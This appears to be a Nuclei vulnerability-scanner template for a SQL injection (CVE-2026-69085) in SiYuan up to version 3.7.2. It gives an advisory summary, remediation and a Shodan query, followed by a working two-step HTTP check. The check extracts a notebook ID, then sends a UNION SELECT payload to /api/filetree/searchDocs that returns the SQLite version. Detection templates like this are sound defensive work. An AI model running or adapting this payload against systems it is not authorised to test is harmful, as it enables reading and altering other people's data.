SiYuan <=3.7.2 - SQL Injection

id: CVE-2026-69085

info:
  name: SiYuan <=3.7.2 - SQL Injection
  author: str4k3r
  severity: critical
  description: |
    SiYuan before v3.7.3 contains a SQL injection caused by direct concatenation of the keyword parameter in /api/filetree/searchDocs endpoint, letting attackers with publish RoleReader token or unauthenticated in publish mode read and modify database content.
  impact: |
    Attackers can read and modify database content across all cleartext notebooks, potentially compromising data integrity and confidentiality.
  remediation: |
    Update to version 3.7.3 or later.
  reference:
    - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-33jq-p8c2-q3q4
    - https://github.com/siyuan-note/siyuan/releases/tag/v3.7.3
    - https://hub.docker.com/r/b3log/siyuan/tags
    - https://nvd.nist.gov/vuln/detail/CVE-2026-69085
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
    cvss-score: 10
    cve-id: CVE-2026-69085
    epss-score: 0.0139
    epss-percentile: 0.72549
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    vendor: b3log
    product: siyuan
    shodan-query: http.favicon.hash:-1450125239
  tags: cve,cve2026,siyuan,sqli,sqlite,unauth

http:
  - raw:
      - |
        POST /api/notebook/lsNotebooks HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

      - |
        POST /api/filetree/searchDocs HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"k":"poc%')/**/union/**/select/**/'poc','','poc','','{{box_id}}',sqlite_version(),'/POC','POC','','','','','','',0,'d','','',0,'','',0--"}

    extractors:
      - type: regex
        name: box_id
        part: body
        group: 1
        internal: true
        regex:
          - '"id":"([0-9]{14}-[a-z0-9]{7})"[^}]*"closed":false'

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: regex
        part: body
        regex:
          - '"path":"[0-9]+\.[0-9]+\.[0-9]+"'